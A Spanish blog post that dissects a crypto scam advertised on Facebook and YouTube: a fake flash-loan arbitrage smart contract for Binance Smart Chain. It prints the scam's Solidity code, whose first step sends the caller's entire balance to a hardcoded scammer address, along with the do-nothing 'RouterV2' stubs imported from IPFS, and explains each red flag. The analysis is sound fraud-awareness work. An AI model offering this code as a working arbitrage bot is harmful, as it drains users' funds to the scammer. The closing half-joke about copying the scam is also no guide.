El arbitraje es una técnica de trading que consiste en aprovechar las diferencias de precios en distintos exchanges, básicamente consiste en comprar barato en un sitio y venderlo más caro en otro.
Esta técnica se realizaba tradicionalmente en un exchange centralizado pero el auge de las finanzas descentralizadas ha abierto nuevas posibilidades. Y con ello, los estafadores tienen nuevas ideas y un mercado más amplio.
Todo ha empezado con un simple anuncio en la plataforma de Facebook a un vídeo de YouTube que explicaba cómo podías ganar haciendo arbitraje utilizando los flash loans.
El resumen de esta técnica consiste en pedir prestado una gran cantidad de dinero, realizar un intercambio en un exchange descentralizado y devolver el dinero prestado, pero todo esto en una única transacción. De esta forma, si el arbitraje no genera beneficios y no puedes pagar los intereses del dinero prestado, la transacción no se completa y todo queda cómo antes de iniciar la operación, menos las comisiones de la transacción.
Hasta este punto todo perfecto, la idea es correcta y he pensado ¿por qué no probarlo? Pero se tiene que ir con cuidado con todo lo que encuentras por Internet, y mucho más si no lo entiendes.
En este caso, el vídeo en YouTube te explica cómo crear un smart contract sobre Binance Smart Chain y cómo invocarlo. La verdad que el vídeo lo explica bien y lo hace realmente fácil, que es lo que busca el estafador: gente que sin conocimientos de programación ejecute este smart contract.
Parce que el estafador se olvidó de ajustar la audiencia de su campaña y olvidó ocultarlo a los programadores escépticos. Vamos a ver cómo funciona la estafa.
La primera red flag es que en el vídeo indica que si no sabemos programar no pasa nada, sólo se tiene que copiar y pegar el código y seguir sus pasos. Esto es muy peligroso, ya que puede que estés copiando código que mande todos tus tokens a su dirección.
function flashloan() public payable { // Send required coins for swap address(uint160(router.pancakeSwapAddress())).transfer( address(this).balance ); //Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. router.borrowFlashloanFromMultiplier( address(this), router.bakerySwapAddress(), flashLoanAmount ); //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. router.convertBnbToBusd(msg.sender, flashLoanAmount / 2); //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap. router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender); //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas. router.transferBnbToMultiplier(router.pancakeSwapAddress()); //Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time. router.completeTransation(address(this).balance); }
El código anterior es la función que se invoca del smart contract. Vamos a analizarla por pasos, dejándonos guiar por los comentarios del código:
El primer paso consiste en enviar todas las monedas del smart contract a la dirección indicada por la función router.pancakeSwapAddress(), que según el comentario son las monedas que se utilizarán para realizar el arbitraje.
El siguiente paso es pedir prestado el dinero en una plataforma de finanzas descentralizadas, con la función router.borrowFlasloanFromMultiplier(...). Los parámetros son la dirección del contracto, la dirección de otro exchange descentralizado y la cantidad que pedimos prestada.
Después se realiza la conversión de la moneda BNB a la stable coin BUSD. Aquí es curioso que está utilizando el valor msg.sender y flasLoanAmount / 2. ¿Por qué está usando la dirección de quién invoca el contracto? ¿Por qué está dividiendo la cantidad prestada entre dos?
A continuación llama la función router.callArbitrageBakerySwap() con más direcciones, pero sin indicar ninguna cantidad. Luego devuelve el dinero prestado utilizando la función router.transferBnbToMultiplier.
Finalmente invoca la función router.completeTransaction() con la cantidad de monedas que tiene el contracto inteligente.
Una persona que sabe un poco de inglés y lee estos comentarios (y se los cree) puede pensar que todo tiene sentido. Pero estamos ignorando qué realizan realmente las funciones que hemos comentado.
La realidad es que desde el punto número uno ya hemos perdido nuestro dinero. Y para descubrirlo, tenemos que mirar qué hace el objeto router. ¿Dónde está definido y qué hacen estas funciones? Para descubrirlo tenemos que ir a la sección de código importado del smart contract.
// PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; //BakerySwp Smart contracts import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol"; // Router import "ipfs://QmZR6RMkAhfx3CJj9Qsmd1GG4ots59vNt7zknKmjzYMKzs"; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
Empezamos bien:
Si miramos todos los códigos de los repositorios de GitHub podemos ver que en ninguno de ellos se está declarando el tipo RouterV2, que es el tipo de la variable router. El único import que no podemos ver fácilmente es el que empieza por ipfs://. Evidentemente si el compilador puede interpretarlo es porqué el código se puede recuperar.
Investigando un poco cómo funciona todo esto del IPFS encuentro dónde está el código. Esto es totalmente público y se puede encontrar en la dirección https://ipfs.io/ipfs/[identificador IPFS].
En este archivo de código se definen tipos cómo IPancakePair y RouterV2. ¡Bingo! Tenemos la clase que estamos buscando.
contract RouterV2 { function pancakeRouterV2Address() public pure returns (address) { return 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F; } ... function pancakeSwapAddress() public pure returns (address) { return 0xE460cd9b2d44951A6A06f36D691C8051aA830c83; } //1. A flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. function borrowFlashloanFromMultiplier( address add0, address add1, uint256 amount ) public pure { require(uint(add0) != 0, "Address is invalid."); require(uint(add1) != 0, "Address is invalid."); require(amount > 0, "Amount should be greater than 0."); } //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. function convertBnbToBusd(address add0, uint256 amount) public pure { require(uint(add0) != 0, "Address is invalid"); require(amount > 0, "Amount should be greater than 0"); } function bakerySwapAddress() public pure returns (address) { return 0xE02dF9e3e622DeBdD69fb838bB799E3F168902c5; } //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap. function callArbitrageBakerySwap(address add0, address add1) public pure { require(uint(add0) != 0, "Address is invalid!"); require(uint(add1) != 0, "Address is invalid!"); } //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas. function transferBnbToMultiplier(address add0) public pure { require(uint(add0) != 0, "Address is invalid!"); } //5. Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time. function completeTransation(uint256 balanceAmount) public pure { require(balanceAmount >= 0, "Amount should be greater than 0!"); } function swap( uint256 amount0Out, uint256 amount1Out, address to ) external pure { require( amount0Out > 0 || amount1Out > 0, "Pancake: INSUFFICIENT_OUTPUT_AMOUNT" ); require(uint(to) != 0, "Address can't be null");/* (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'Pancake: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(2)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(2)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Pancake: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);*/ } function lendingPoolFlashloan(uint256 _asset) public pure { uint256 data = _asset; require(data != 0, "Data can't be 0.");/* uint amount = 1 BNB; ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool()); lendingPool.flashLoan(address(this), _asset, amount, data);*/ } }
En la programación puede tener sentido tener funciones o constantes que devuelvan valores que siempre tengan el mismo valor. Por eso, no es una idea tan loca tener una función que devuelva la dirección del contracto de Pancake Swap.
Empezamos con la función del punto número uno de la sección anterior, pancakeRouterV2Address. Podemos ver que está devolviendo un valor constante, que es 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F. Aquí encontramos la segunda red flag ya que si consultamos en BSC Scan, esta dirección no está relacionada con Pancake Swap. Sin embargo, el código fuente está dando a entender que la dirección es de Pancake Swap.
Vale, ya podemos ver que esto es una estafa... pero ¿qué están haciendo las demás funciones que teóricamente están pidiendo el dinero prestado? La respuesta es muy simple: nada.
Estas funciones solo están verificando que las direcciones son distintas al valor 0 y que la cantidad que se ha enviando es superior o igual a 0. La igualdad de >= 0 es muy importante, ya que si primero envía las monedas y luego comprueba si hay más de 0, la transacción va a fallar.
Además hay otras secciones del código que no tienen sentido, ya que son funciones que no se utilizan y que además tienen gran parte de su código comentado.
Lo más curioso es el punto dónde se inician los comentarios. Los comentarios se inician al final de la línea para pasar desapercibido a una primera lectura del código, aunque con un IDE se puede ver fácilmente.
El estafador, que ya lo tenemos identificado con su dirección sobre BSC, es astuto y pide tanto en el vídeo como en los comentarios del código que se llame al smart contract con una cantidad superior a 0.2 BNB, que actualmente son unos 100€. De esta forma se asegura de poder amortizar la inversión en Facebook Ads.
Por desgracia hay algunas personas que han probado su técnica y han perdido su dinero. Todas las transacciones se pueden ver públicamente en BSCScan con la dirección del estafador. Hasta la fecha, ha recibido más de 1.8 BNB en unos 35 días.
Encontrar la identidad real de las víctimas y del estafador es prácticamente una misión imposible, gracias a las características de las criptomoneadas.
No es la primera vez que me encuentro anuncios fraudulentos en Facebook y por mucho que los reportes siguen apareciendo. Parece que Facebook sólo se preocupa por ingresar dinero a través de sus anuncios, sin importar que está promocionando estafas.
Facebook no es la única red social que promociona contenido fraudulento. Todas las redes sociales y plataformas de entretenimiento como Twitter y YouTube, también. No sé cuántas veces me han aparecido en el feed de YouTube directos de "Elon Musk" haciendo un sorteo de criptomonedas o anuncios de invertir en acciones de Amazon en Twitter.
Por tanto, queda claro que ninguna de estas compañías está haciendo algo para frenar las estafas y que van a seguir apareciendo. Si algo es demasiado bueno para ser real, seguramente no es real. No podemos fiarnos de lo que vemos en Internet, y mucho menos si se trata de dinero y criptomonedas. Cualquier persona puede crear monedas y hacer creer que su moneda es la mejor del mundo.
Después de descubrir esta estafa y leer más sobre los flash loans estaría interesante ver si realmente es una técnica viable y cómo se puede ejecutar, pero esta vez de verdad.
O bien... podemos pasarnos al lado oscuro e intentar aplicar las mismas técnicas que este estafador, ya que ha quedado claro que estafar a la gente por medio de Facebook, Twitter y YouTube no tiene ningún tipo de repercusión.